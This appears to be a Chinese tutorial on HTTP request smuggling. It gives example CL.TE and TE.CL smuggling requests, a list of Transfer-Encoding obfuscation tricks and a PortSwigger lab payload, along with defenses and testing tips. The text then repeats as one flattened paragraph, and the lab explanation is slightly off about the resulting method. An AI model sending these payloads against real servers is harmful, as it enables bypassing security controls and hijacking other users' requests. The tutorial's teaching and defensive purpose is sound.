重温HTTP请求走私漏洞成因及利用细节
字数 1783 2025-08-20 18:17:53

HTTP请求走私漏洞详解与利用

1. HTTP请求走私概述

HTTP请求走私(HTTP Request Smuggling)是一种干扰网站处理HTTP请求序列的技术,允许攻击者绕过安全控制、获取敏感数据并危害其他应用程序用户。

关键特性:

  • 主要与HTTP/1请求相关,但某些HTTP/2实现也可能受影响
  • 利用前端(负载均衡/反向代理)与后端服务器对请求边界解析的差异
  • 通常涉及Content-Length和Transfer-Encoding头的冲突

2. 漏洞产生背景

现代Web应用架构特点:

  • 用户请求先到达前端服务器(负载均衡/反向代理)
  • 前端通过同一连接将多个请求转发到后端服务器
  • 需要明确界定请求之间的边界

漏洞产生原因:

  • 前端与后端对请求结束位置的判断不一致
  • HTTP/1规范提供了两种指定消息结束的方式(Content-Length和Transfer-Encoding)
  • 当两种方式同时存在且服务器处理方式不同时,可能导致请求走私

3. 核心概念解析

3.1 Content-Length头

  • 指定消息体的字节长度
  • 示例:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

3.2 Transfer-Encoding头

  • 指定消息体使用分块编码(chunked)
  • 格式:块大小(十六进制) + 换行 + 块内容 + 终止块(0)
  • 示例:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

4. 攻击类型与模式

4.1 CL.TE模式

  • 前端使用Content-Length,后端使用Transfer-Encoding
  • 攻击示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • 前端:认为请求体长度为13字节(包括0\r\n\r\n)
  • 后端:处理分块编码,0表示结束,SMUGGLED被当作下一个请求

4.2 TE.CL模式

  • 前端使用Transfer-Encoding,后端使用Content-Length
  • 攻击示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
  • 前端:处理分块编码,完整请求
  • 后端:只读取3字节(8\r\n),剩余内容被当作下一个请求

4.3 TE.TE模式

  • 前后端都支持Transfer-Encoding,但可通过混淆诱导其中一方不处理
  • 混淆技术包括:
    • Transfer-Encoding: xchunked
    • Transfer-Encoding : chunked
    • Transfer-Encoding: chunked Transfer-Encoding: x
    • Transfer-Encoding:[tab]chunked
    • [空格]Transfer-Encoding: chunked
    • X: X[\n]Transfer-Encoding: chunked
    • Transfer-Encoding
      : chunked

5. 实际攻击案例

5.1 CL.TE靶场示例

靶场地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

目标:通过GPOST方法请求后端服务器(前端只允许GET/POST)

攻击请求:

POST / HTTP/1.1
Host: target-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0
G

解释:

  1. 前端使用Content-Length:6 → 读取0\r\n\r\nG
  2. 后端使用Transfer-Encoding → 0表示结束,G被当作下个请求开始
  3. 下一个请求变为POST /,导致请求走私

6. 防御措施

  1. 禁用后端连接的重用
  2. 对HTTP请求使用严格验证
  3. 在前端服务器上规范化请求
  4. 在反向代理中禁用Transfer-Encoding头
  5. 确保所有服务器使用相同协议版本
  6. 在负载均衡器上配置拒绝有歧义的请求

7. 测试方法

  1. 识别前端与后端服务器
  2. 测试对Transfer-Encoding头的处理差异
  3. 尝试各种混淆技术
  4. 观察响应时间差异(可能表明请求排队)
  5. 使用时间延迟技术检测漏洞

8. 高级利用技术

  1. 获取其他用户请求
  2. 绕过安全控制
  3. 反射型XSS升级为存储型
  4. 缓存投毒
  5. 权限提升
  6. 基于时间的攻击

9. 工具与资源

  1. Burp Suite (手动切换HTTP/1.1协议)
  2. smuggler.py (自动化测试工具)
  3. HTTP Request Smuggler (Burp扩展)
  4. PortSwigger的Web安全学院靶场

10. 注意事项

  1. 测试时可能影响其他用户
  2. 某些攻击可能导致服务中断
  3. 浏览器默认使用HTTP/2,测试时需手动切换到HTTP/1.1
  4. 漏洞利用可能违反法律,仅限授权测试
HTTP请求走私漏洞详解与利用 1. HTTP请求走私概述 HTTP请求走私(HTTP Request Smuggling)是一种干扰网站处理HTTP请求序列的技术,允许攻击者绕过安全控制、获取敏感数据并危害其他应用程序用户。 关键特性: 主要与HTTP/1请求相关,但某些HTTP/2实现也可能受影响 利用前端(负载均衡/反向代理)与后端服务器对请求边界解析的差异 通常涉及Content-Length和Transfer-Encoding头的冲突 2. 漏洞产生背景 现代Web应用架构特点: 用户请求先到达前端服务器(负载均衡/反向代理) 前端通过同一连接将多个请求转发到后端服务器 需要明确界定请求之间的边界 漏洞产生原因: 前端与后端对请求结束位置的判断不一致 HTTP/1规范提供了两种指定消息结束的方式(Content-Length和Transfer-Encoding) 当两种方式同时存在且服务器处理方式不同时,可能导致请求走私 3. 核心概念解析 3.1 Content-Length头 指定消息体的字节长度 示例: 3.2 Transfer-Encoding头 指定消息体使用分块编码(chunked) 格式:块大小(十六进制) + 换行 + 块内容 + 终止块(0) 示例: 4. 攻击类型与模式 4.1 CL.TE模式 前端使用Content-Length,后端使用Transfer-Encoding 攻击示例: 前端:认为请求体长度为13字节(包括 0\r\n\r\n ) 后端:处理分块编码, 0 表示结束, SMUGGLED 被当作下一个请求 4.2 TE.CL模式 前端使用Transfer-Encoding,后端使用Content-Length 攻击示例: 前端:处理分块编码,完整请求 后端:只读取3字节( 8\r\n ),剩余内容被当作下一个请求 4.3 TE.TE模式 前后端都支持Transfer-Encoding,但可通过混淆诱导其中一方不处理 混淆技术包括: Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[ tab ]chunked [ 空格 ]Transfer-Encoding: chunked X: X[ \n ]Transfer-Encoding: chunked Transfer-Encoding : chunked 5. 实际攻击案例 5.1 CL.TE靶场示例 靶场地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te 目标:通过GPOST方法请求后端服务器(前端只允许GET/POST) 攻击请求: 解释: 前端使用Content-Length:6 → 读取 0\r\n\r\nG 后端使用Transfer-Encoding → 0 表示结束, G 被当作下个请求开始 下一个请求变为 POST / ,导致请求走私 6. 防御措施 禁用后端连接的重用 对HTTP请求使用严格验证 在前端服务器上规范化请求 在反向代理中禁用Transfer-Encoding头 确保所有服务器使用相同协议版本 在负载均衡器上配置拒绝有歧义的请求 7. 测试方法 识别前端与后端服务器 测试对Transfer-Encoding头的处理差异 尝试各种混淆技术 观察响应时间差异(可能表明请求排队) 使用时间延迟技术检测漏洞 8. 高级利用技术 获取其他用户请求 绕过安全控制 反射型XSS升级为存储型 缓存投毒 权限提升 基于时间的攻击 9. 工具与资源 Burp Suite (手动切换HTTP/1.1协议) smuggler.py (自动化测试工具) HTTP Request Smuggler (Burp扩展) PortSwigger的Web安全学院靶场 10. 注意事项 测试时可能影响其他用户 某些攻击可能导致服务中断 浏览器默认使用HTTP/2,测试时需手动切换到HTTP/1.1 漏洞利用可能违反法律,仅限授权测试